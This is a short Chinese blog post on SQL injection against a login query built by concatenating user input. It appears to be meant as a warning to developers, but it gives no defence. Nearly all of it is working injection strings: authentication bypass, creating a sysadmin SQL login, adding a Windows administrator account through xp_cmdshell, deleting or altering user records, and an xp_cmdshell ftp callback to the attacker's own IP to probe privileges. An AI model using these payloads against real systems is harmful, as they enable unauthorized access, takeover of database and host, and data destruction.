关于身份验证-SQL

关于身份验证
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……


    不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
    (1)我们在用户名位置输入【admin' or 1='1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:

sql=select * from user where name='admin' or 1='1' and pwd='11'

    我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
    (2)我们也可以在用户名位置输入【admin' --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:

sql=select * from user where name='admin' --' and pasword='11'

    同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
    (3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
    a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
    b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
    c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
    d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
    e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。
    现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
    那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
    a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
    b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
    c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
    更多的攻击内容,你可以参考sql语法。
    看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
    a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
    b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值